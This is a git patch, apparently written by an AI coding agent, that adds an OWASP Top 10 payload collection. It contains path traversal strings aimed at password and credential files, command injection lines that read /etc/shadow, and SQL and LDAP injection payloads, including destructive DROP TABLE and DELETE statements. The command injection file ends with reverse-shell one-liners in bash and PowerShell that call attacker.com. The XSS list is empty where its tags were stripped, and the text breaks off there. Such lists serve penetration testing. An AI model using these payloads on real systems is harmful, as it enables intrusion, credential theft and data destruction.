From ef35e279c741f90b20d6fe2bf29323118349fe47 Mon Sep 17 00:00:00 2001
From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com>
Date: Sun, 4 Jan 2026 18:17:35 +0000
Subject: [PATCH 1/3] Initial plan
From ab9c127df32a398f09c7f27c314cd772d2f34d8e Mon Sep 17 00:00:00 2001
From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com>
Date: Sun, 4 Jan 2026 18:24:32 +0000
Subject: [PATCH 2/3] Add comprehensive OWASP Top 10 directory structure with
injection payloads
Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com>
---
.../A01-Broken-Access-Control/README.md | 14 ++
.../idor-payloads.txt | 40 ++++++
.../path-traversal-payloads.txt | 57 ++++++++
.../A02-Cryptographic-Failures/README.md | 14 ++
.../weak-crypto-payloads.txt | 23 ++++
OWASP-Top-10/A03-Injection/README.md | 15 ++
.../command-injection-payloads.txt | 80 +++++++++++
.../A03-Injection/ldap-injection-payloads.txt | 39 ++++++
.../A03-Injection/sql-injection-payloads.txt | 86 ++++++++++++
OWASP-Top-10/A03-Injection/xss-payloads.txt | 77 +++++++++++
OWASP-Top-10/A04-Insecure-Design/README.md | 14 ++
.../business-logic-payloads.txt | 46 +++++++
.../A05-Security-Misconfiguration/README.md | 15 ++
.../default-credentials-payloads.txt | 41 ++++++
.../misconfiguration-paths-payloads.txt | 78 +++++++++++
.../README.md | 14 ++
.../vulnerable-components-list.txt | 45 ++++++
.../README.md | 15 ++
.../auth-bypass-payloads.txt | 47 +++++++
.../weak-passwords-payloads.txt | 47 +++++++
.../README.md | 14 ++
.../deserialization-payloads.txt | 55 ++++++++
.../README.md | 15 ++
.../log-injection-payloads.txt | 50 +++++++
.../A10-Server-Side-Request-Forgery/README.md | 15 ++
.../ssrf-payloads.txt | 85 ++++++++++++
OWASP-Top-10/README.md | 130 ++++++++++++++++++
README.md | 70 +++++++++-
28 files changed, 1240 insertions(+), 1 deletion(-)
create mode 100644 OWASP-Top-10/A01-Broken-Access-Control/README.md
create mode 100644 OWASP-Top-10/A01-Broken-Access-Control/idor-payloads.txt
create mode 100644 OWASP-Top-10/A01-Broken-Access-Control/path-traversal-payloads.txt
create mode 100644 OWASP-Top-10/A02-Cryptographic-Failures/README.md
create mode 100644 OWASP-Top-10/A02-Cryptographic-Failures/weak-crypto-payloads.txt
create mode 100644 OWASP-Top-10/A03-Injection/README.md
create mode 100644 OWASP-Top-10/A03-Injection/command-injection-payloads.txt
create mode 100644 OWASP-Top-10/A03-Injection/ldap-injection-payloads.txt
create mode 100644 OWASP-Top-10/A03-Injection/sql-injection-payloads.txt
create mode 100644 OWASP-Top-10/A03-Injection/xss-payloads.txt
create mode 100644 OWASP-Top-10/A04-Insecure-Design/README.md
create mode 100644 OWASP-Top-10/A04-Insecure-Design/business-logic-payloads.txt
create mode 100644 OWASP-Top-10/A05-Security-Misconfiguration/README.md
create mode 100644 OWASP-Top-10/A05-Security-Misconfiguration/default-credentials-payloads.txt
create mode 100644 OWASP-Top-10/A05-Security-Misconfiguration/misconfiguration-paths-payloads.txt
create mode 100644 OWASP-Top-10/A06-Vulnerable-Outdated-Components/README.md
create mode 100644 OWASP-Top-10/A06-Vulnerable-Outdated-Components/vulnerable-components-list.txt
create mode 100644 OWASP-Top-10/A07-Identification-Authentication-Failures/README.md
create mode 100644 OWASP-Top-10/A07-Identification-Authentication-Failures/auth-bypass-payloads.txt
create mode 100644 OWASP-Top-10/A07-Identification-Authentication-Failures/weak-passwords-payloads.txt
create mode 100644 OWASP-Top-10/A08-Software-Data-Integrity-Failures/README.md
create mode 100644 OWASP-Top-10/A08-Software-Data-Integrity-Failures/deserialization-payloads.txt
create mode 100644 OWASP-Top-10/A09-Security-Logging-Monitoring-Failures/README.md
create mode 100644 OWASP-Top-10/A09-Security-Logging-Monitoring-Failures/log-injection-payloads.txt
create mode 100644 OWASP-Top-10/A10-Server-Side-Request-Forgery/README.md
create mode 100644 OWASP-Top-10/A10-Server-Side-Request-Forgery/ssrf-payloads.txt
create mode 100644 OWASP-Top-10/README.md
diff --git a/OWASP-Top-10/A01-Broken-Access-Control/README.md b/OWASP-Top-10/A01-Broken-Access-Control/README.md
new file mode 100644
index 0000000..a4270e1
--- /dev/null
+++ b/OWASP-Top-10/A01-Broken-Access-Control/README.md
@@ -0,0 +1,14 @@
+# A01 - Broken Access Control
+
+## Description
+Access control enforces policy such that users cannot act outside of their intended permissions. Failures typically lead to unauthorized information disclosure, modification, or destruction of all data or performing a business function outside the user's limits.
+
+## Common Vulnerabilities
+- Path Traversal
+- IDOR (Insecure Direct Object References)
+- Missing Function Level Access Control
+- Forced Browsing
+- Privilege Escalation
+
+## Testing Approach
+Test for access control by manipulating URLs, parameters, and attempting to access resources without proper authorization.
diff --git a/OWASP-Top-10/A01-Broken-Access-Control/idor-payloads.txt b/OWASP-Top-10/A01-Broken-Access-Control/idor-payloads.txt
new file mode 100644
index 0000000..981853e
--- /dev/null
+++ b/OWASP-Top-10/A01-Broken-Access-Control/idor-payloads.txt
@@ -0,0 +1,40 @@
+# IDOR (Insecure Direct Object Reference) Payloads
+
+# Sequential ID manipulation
+?id=1
+?id=2
+?id=100
+?id=1000
+
+# UUID manipulation
+?user_id=00000000-0000-0000-0000-000000000001
+?user_id=11111111-1111-1111-1111-111111111111
+
+# Username/email enumeration
+?user=admin
+?user=administrator
+?user=root
+?email=admin@example.com
+?username=test
+
+# File/Document IDs
+?file_id=1
+?doc_id=1
+?document=private.pdf
+?report_id=1
+
+# Account/Profile manipulation
+?account_id=1
+?profile_id=1
+?customer_id=1
+
+# Negative and special values
+?id=-1
+?id=0
+?id=999999
+?id=null
+?id=undefined
+
+# Array/Multiple IDs
+?id[]=1&id[]=2
+?ids=1,2,3
diff --git a/OWASP-Top-10/A01-Broken-Access-Control/path-traversal-payloads.txt b/OWASP-Top-10/A01-Broken-Access-Control/path-traversal-payloads.txt
new file mode 100644
index 0000000..d3d9a8d
--- /dev/null
+++ b/OWASP-Top-10/A01-Broken-Access-Control/path-traversal-payloads.txt
@@ -0,0 +1,57 @@
+# Path Traversal Payloads
+
+# Basic traversal
+../
+../../
+../../../
+../../../../
+../../../../../
+../../../../../../
+../../../../../../../
+
+# URL encoded
+..%2F
+..%2F..%2F
+..%2F..%2F..%2F
+..%252f
+..%252f..%252f
+
+# Double URL encoded
+..%252F
+..%252F..%252F
+..%c0%af
+..%c1%9c
+
+# Windows paths
+..\
+..\..\
+..\..\..\
+..%5C
+..%5C..%5C
+..%255C
+
+# Null byte injection
+../../../etc/passwd%00
+../../../etc/passwd%00.jpg
+..%2F..%2F..%2Fetc%2Fpasswd%00
+
+# Common target files
+../../../etc/passwd
+../../../etc/shadow
+../../../etc/hosts
+../../../windows/system32/config/sam
+../../../windows/win.ini
+../../../boot.ini
+..\..\..\..\windows\system.ini
+
+# Web server files
+../../../var/www/html/index.php
+../../../usr/local/apache/conf/httpd.conf
+../../../etc/httpd/conf/httpd.conf
+../../../etc/nginx/nginx.conf
+
+# Application files
+../../../config/database.yml
+../../../.env
+../../../web.config
+../../../application.properties
diff --git a/OWASP-Top-10/A02-Cryptographic-Failures/README.md b/OWASP-Top-10/A02-Cryptographic-Failures/README.md
new file mode 100644
index 0000000..f04091b
--- /dev/null
+++ b/OWASP-Top-10/A02-Cryptographic-Failures/README.md
@@ -0,0 +1,14 @@
+# A02 - Cryptographic Failures
+
+## Description
+Previously known as Sensitive Data Exposure, this category focuses on failures related to cryptography which often lead to exposure of sensitive data. Common issues include weak cryptographic algorithms, improper key management, and data transmitted in clear text.
+
+## Common Vulnerabilities
+- Weak encryption algorithms
+- Hardcoded credentials
+- Insecure key storage
+- Data transmitted in clear text
+- Missing encryption
+
+## Testing Approach
+Look for sensitive data exposure through weak or missing encryption, analyze SSL/TLS configurations, and check for hardcoded secrets.
diff --git a/OWASP-Top-10/A02-Cryptographic-Failures/weak-crypto-payloads.txt b/OWASP-Top-10/A02-Cryptographic-Failures/weak-crypto-payloads.txt
new file mode 100644
index 0000000..79a3bfc
--- /dev/null
+++ b/OWASP-Top-10/A02-Cryptographic-Failures/weak-crypto-payloads.txt
@@ -0,0 +1,23 @@
+# Common Weak Hashes for Testing
+
+# MD5 hashes (weak)
+5f4dcc3b5aa765d61d8327deb882cf99 # password
+e10adc3949ba59abbe56e057f20f883e # 123456
+25d55ad283aa400af464c76d713c07ad # 12345678
+202cb962ac59075b964b07152d234b70 # 123
+
+# SHA1 hashes (weak)
+5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 # password
+7c4a8d09ca3762af61e59520943dc26494f8941b # 123456
+7c222fb2927d828af22f592134e8932480637c0d # 12345678
+
+# Common encoded credentials
+YWRtaW46YWRtaW4= # admin:admin (base64)
+cm9vdDpyb290 # root:root (base64)
+dGVzdDp0ZXN0 # test:test (base64)
+
+# Common API keys pattern (for detection testing)
+AKIA[0-9A-Z]{16} # AWS Access Key pattern
+[0-9a-zA-Z]{32} # Generic 32-char key
+ghp_[0-9a-zA-Z]{36} # GitHub Personal Access Token pattern
+sk_live_[0-9a-zA-Z]{24} # Stripe Live Secret Key pattern
diff --git a/OWASP-Top-10/A03-Injection/README.md b/OWASP-Top-10/A03-Injection/README.md
new file mode 100644
index 0000000..91e6599
--- /dev/null
+++ b/OWASP-Top-10/A03-Injection/README.md
@@ -0,0 +1,15 @@
+# A03 - Injection
+
+## Description
+Injection flaws occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.
+
+## Common Injection Types
+- SQL Injection
+- Cross-Site Scripting (XSS)
+- Command Injection
+- LDAP Injection
+- XML Injection
+- Template Injection
+
+## Testing Approach
+Submit malicious input containing special characters and observe application behavior, error messages, and response times.
diff --git a/OWASP-Top-10/A03-Injection/command-injection-payloads.txt b/OWASP-Top-10/A03-Injection/command-injection-payloads.txt
new file mode 100644
index 0000000..bfd5c9a
--- /dev/null
+++ b/OWASP-Top-10/A03-Injection/command-injection-payloads.txt
@@ -0,0 +1,80 @@
+# Command Injection Payloads
+
+# Basic command injection
+; ls
+| ls
+|| ls
+& ls
+&& ls
+`ls`
+$(ls)
+
+# Chained commands
+; whoami
+| whoami
+|| whoami
+& whoami
+&& whoami
+
+# Command substitution
+`whoami`
+$(whoami)
+;`whoami`
+;$(whoami)
+
+# File operations
+; cat /etc/passwd
+| cat /etc/passwd
+; cat /etc/shadow
+| cat /etc/shadow
+; ls -la
+| ls -la /
+
+# Windows commands
+& dir
+| dir
+& type C:\Windows\win.ini
+| type C:\boot.ini
+& whoami
+| net user
+
+# Time-based detection
+; sleep 5
+| sleep 5
+& ping -n 5 127.0.0.1
+| ping -c 5 127.0.0.1
+; timeout 5
+& timeout /t 5
+
+# Output redirection
+; ls > /tmp/output.txt
+| ls > /tmp/output.txt
+& dir > C:\temp\output.txt
+
+# URL encoded
+%3B%20ls
+%7C%20ls
+%26%20whoami
+
+# Newline injection
+%0a whoami
+%0d%0a whoami
+\n whoami
+\r\n whoami
+
+# Spaces bypass
+;cat& /dev/tcp/attacker.com/4444 0>&1
+& powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);"
diff --git a/OWASP-Top-10/A03-Injection/ldap-injection-payloads.txt b/OWASP-Top-10/A03-Injection/ldap-injection-payloads.txt
new file mode 100644
index 0000000..4ca58ac
--- /dev/null
+++ b/OWASP-Top-10/A03-Injection/ldap-injection-payloads.txt
@@ -0,0 +1,39 @@
+# LDAP Injection Payloads
+
+# Basic LDAP injection
+*
+*(uid=*)
+*(cn=*)
+*(objectClass=*)
+
+# Authentication bypass
+*)(uid=*))(|(uid=*
+*)(|(uid=*))
+*)(cn=admin)(|(cn=*
+admin)(&(uid=*))
+
+# Filter bypass
+*)(objectClass=*))(&(objectClass=*
+*)(|(password=*))
+*)(cn=*)(|(cn=*
+
+# Blind LDAP injection
+*)(cn=a*
+*)(cn=ad*
+*)(cn=adm*
+*)(cn=admin*
+
+# Boolean-based
+(&(uid=admin)(password=*))
+(&(uid=admin)(!(password=wrong)))
+(|(uid=admin)(uid=administrator))
+
+# Wildcard usage
+uid=*
+cn=*
+sn=*
+mail=*
+
+# Attribute extraction
+*)(objectClass=*))(%26(objectClass=*
+*)(uid=*))(%26(uid=*
diff --git a/OWASP-Top-10/A03-Injection/sql-injection-payloads.txt b/OWASP-Top-10/A03-Injection/sql-injection-payloads.txt
new file mode 100644
index 0000000..6f65258
--- /dev/null
+++ b/OWASP-Top-10/A03-Injection/sql-injection-payloads.txt
@@ -0,0 +1,86 @@
+# SQL Injection Payloads
+
+# Basic SQL injection
+'
+''
+' OR '1'='1
+' OR 1=1--
+' OR 'a'='a
+" OR "1"="1
+" OR 1=1--
+admin' --
+admin' #
+admin'/*
+' OR '1'='1' --
+' OR '1'='1' #
+' OR '1'='1'/*
+
+# Union-based SQL injection
+' UNION SELECT NULL--
+' UNION SELECT NULL,NULL--
+' UNION SELECT NULL,NULL,NULL--
+' UNION ALL SELECT NULL--
+' UNION ALL SELECT NULL,NULL--
+' UNION SELECT 1,2,3--
+' UNION ALL SELECT 1,2,3--
+
+# Error-based SQL injection
+' AND 1=CONVERT(int,(SELECT @@version))--
+' AND 1=CAST((SELECT @@version) AS int)--
+' AND EXTRACTVALUE(1,CONCAT(0x5c,@@version))--
+' AND 1=UPDATEXML(1,CONCAT(0x5e24,(SELECT @@version),0x5e24),1)--
+
+# Boolean-based blind SQL injection
+' AND 1=1--
+' AND 1=2--
+' AND SUBSTRING(@@version,1,1)='5'--
+' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>100--
+
+# Time-based blind SQL injection
+'; WAITFOR DELAY '0:0:5'--
+'; SELECT SLEEP(5)--
+'; SELECT pg_sleep(5)--
+' AND SLEEP(5)--
+' AND 1=BENCHMARK(5000000,MD5('test'))--
+
+# Stacked queries
+'; DROP TABLE users--
+'; DELETE FROM users WHERE 1=1--
+'; INSERT INTO users VALUES ('hacker','pass')--
+'; UPDATE users SET password='hacked' WHERE username='admin'--
+
+# Comment injection
+--
+-- -
+#
+/**/
+/*!50000*/
+
+# Database-specific payloads
+# MySQL
+' AND 'x'='x
+' AND SLEEP(5) AND 'x'='x
+' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL#
+
+# PostgreSQL
+' AND 'x'='x
+'; SELECT pg_sleep(5)--
+
+# MSSQL
+' AND 'x'='x
+'; WAITFOR DELAY '00:00:05'--
+
+# Oracle
+' AND 'x'='x
+' AND 1=dbms_pipe.receive_message('a',5)--
+
+# SQLite
+' AND 'x'='x
+' AND LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(5/2))))--
+
+# NoSQL injection
+{"$gt": ""}
+{"$ne": null}
+{"$where": "sleep(5000)"}
+' || '1'=='1
+admin' || 'a'=='a
diff --git a/OWASP-Top-10/A03-Injection/xss-payloads.txt b/OWASP-Top-10/A03-Injection/xss-payloads.txt
new file mode 100644
index 0000000..6cb1801
--- /dev/null
+++ b/OWASP-Top-10/A03-Injection/xss-payloads.txt
@@ -0,0 +1,77 @@
+# XSS (Cross-Site Scripting) Payloads
+
+# Basic XSS
+
+
+
+
+
+
+# IMG tag XSS
+
+
+
+
+
+
+# SVG XSS
+